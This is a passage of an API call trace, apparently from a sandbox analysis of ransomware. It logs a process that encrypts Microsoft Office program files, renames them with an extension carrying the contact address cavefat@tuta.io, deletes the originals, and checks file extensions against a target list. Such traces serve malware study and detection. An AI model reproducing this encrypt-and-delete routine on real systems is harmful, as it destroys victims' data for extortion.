dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0231.218] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.218] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.218] GetLastError () returned 0x0 [0231.218] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xd44b, lpOverlapped=0x0) returned 1 [0231.221] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xd450, lpOverlapped=0x0) returned 1 [0231.222] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.222] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf0, lpOverlapped=0x0) returned 1 [0231.222] SetEndOfFile (hFile=0x4b4) returned 1 [0231.222] CloseHandle (hObject=0x4b4) returned 1 [0231.222] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.222] SetEndOfFile (hFile=0x4ac) returned 1 [0231.225] CloseHandle (hObject=0x4ac) returned 1 [0231.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString=".doc") returned 4 [0231.226] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".docx") returned 5 [0231.226] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.226] lstrlenW (lpString=".pdf") returned 4 [0231.226] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".xls") returned 4 [0231.226] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".xlsx") returned 5 [0231.226] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.226] lstrlenW (lpString=".ppt") returned 4 [0231.226] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString=".zip") returned 4 [0231.226] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".rar") returned 4 [0231.226] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".bz2") returned 4 [0231.226] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString=".7z") returned 3 [0231.226] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString=".dbf") returned 4 [0231.226] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString=".1cd") returned 4 [0231.226] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.226] lstrlenW (lpString=".jpg") returned 4 [0231.227] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString=".doc") returned 4 [0231.227] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".docx") returned 5 [0231.227] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.227] lstrlenW (lpString=".pdf") returned 4 [0231.227] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".xls") returned 4 [0231.227] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".xlsx") returned 5 [0231.227] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.227] lstrlenW (lpString=".ppt") returned 4 [0231.227] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString=".zip") returned 4 [0231.227] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".rar") returned 4 [0231.227] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".bz2") returned 4 [0231.227] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString=".7z") returned 3 [0231.227] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString=".dbf") returned 4 [0231.227] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString=".1cd") returned 4 [0231.227] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0231.227] lstrlenW (lpString=".jpg") returned 4 [0231.227] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.227] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.227] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0231.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0231.228] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=352776) returned 1 [0231.228] CloseHandle (hObject=0x4ac) returned 1 [0231.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0231.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0231.229] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.229] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.229] GetLastError () returned 0x0 [0231.229] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x56208, lpOverlapped=0x0) returned 1 [0231.244] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x56210, lpOverlapped=0x0) returned 1 [0231.249] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.249] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfa, lpOverlapped=0x0) returned 1 [0231.249] SetEndOfFile (hFile=0x4b4) returned 1 [0231.249] CloseHandle (hObject=0x4b4) returned 1 [0231.249] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.249] SetEndOfFile (hFile=0x4ac) returned 1 [0232.272] CloseHandle (hObject=0x4ac) returned 1 [0232.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".doc") returned 4 [0233.020] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".docx") returned 5 [0233.020] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0233.020] lstrlenW (lpString=".pdf") returned 4 [0233.020] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".xls") returned 4 [0233.020] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".xlsx") returned 5 [0233.020] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0233.020] lstrlenW (lpString=".ppt") returned 4 [0233.020] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".zip") returned 4 [0233.020] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".rar") returned 4 [0233.020] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".bz2") returned 4 [0233.020] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString=".7z") returned 3 [0233.020] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".dbf") returned 4 [0233.020] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".1cd") returned 4 [0233.020] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".jpg") returned 4 [0233.020] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.020] lstrlenW (lpString=".doc") returned 4 [0233.021] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".docx") returned 5 [0233.021] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0233.021] lstrlenW (lpString=".pdf") returned 4 [0233.021] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".xls") returned 4 [0233.021] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".xlsx") returned 5 [0233.021] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0233.021] lstrlenW (lpString=".ppt") returned 4 [0233.021] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.021] lstrlenW (lpString=".zip") returned 4 [0233.021] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".rar") returned 4 [0233.021] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".bz2") returned 4 [0233.021] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString=".7z") returned 3 [0233.021] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0233.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.021] lstrlenW (lpString=".dbf") returned 4 [0233.021] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.021] lstrlenW (lpString=".1cd") returned 4 [0233.021] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0233.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0233.021] lstrlenW (lpString=".jpg") returned 4 [0233.021] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0233.021] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.021] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37 [0233.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.113] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=31328) returned 1 [0233.113] CloseHandle (hObject=0x4b4) returned 1 [0233.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220 [0233.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.113] lstrlenW (lpString=".doc") returned 4 [0233.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.113] lstrlenW (lpString=".docx") returned 5 [0233.113] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0233.113] lstrlenW (lpString=".pdf") returned 4 [0233.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".xls") returned 4 [0233.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".xlsx") returned 5 [0233.114] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0233.114] lstrlenW (lpString=".ppt") returned 4 [0233.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".zip") returned 4 [0233.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".rar") returned 4 [0233.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".bz2") returned 4 [0233.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.114] lstrlenW (lpString=".7z") returned 3 [0233.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".dbf") returned 4 [0233.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".1cd") returned 4 [0233.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".jpg") returned 4 [0233.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".doc") returned 4 [0233.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".docx") returned 5 [0233.114] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0233.114] lstrlenW (lpString=".pdf") returned 4 [0233.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".xls") returned 4 [0233.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString=".xlsx") returned 5 [0233.114] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0233.114] lstrlenW (lpString=".ppt") returned 4 [0233.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.114] lstrlenW (lpString=".zip") returned 4 [0233.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.115] lstrlenW (lpString=".rar") returned 4 [0233.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.115] lstrlenW (lpString=".bz2") returned 4 [0233.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.115] lstrlenW (lpString=".7z") returned 3 [0233.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.115] lstrlenW (lpString=".dbf") returned 4 [0233.115] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.115] lstrlenW (lpString=".1cd") returned 4 [0233.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0233.115] lstrlenW (lpString=".jpg") returned 4 [0233.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.115] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0233.115] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28 [0233.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0233.117] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=621986) returned 1 [0233.117] CloseHandle (hObject=0x4b8) returned 1 [0233.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0233.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0233.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.120] GetLastError () returned 0x0 [0233.120] ReadFile (in: hFile=0x4b8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x97da2, lpOverlapped=0x0) returned 1 [0233.137] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x97db0, lpOverlapped=0x0) returned 1 [0233.144] ReadFile (in: hFile=0x4b8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.145] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10c, lpOverlapped=0x0) returned 1 [0233.145] SetEndOfFile (hFile=0x548) returned 1 [0233.145] CloseHandle (hObject=0x548) returned 1 [0233.145] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.145] SetEndOfFile (hFile=0x4b8) returned 1 [0233.288] CloseHandle (hObject=0x4b8) returned 1 [0233.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft 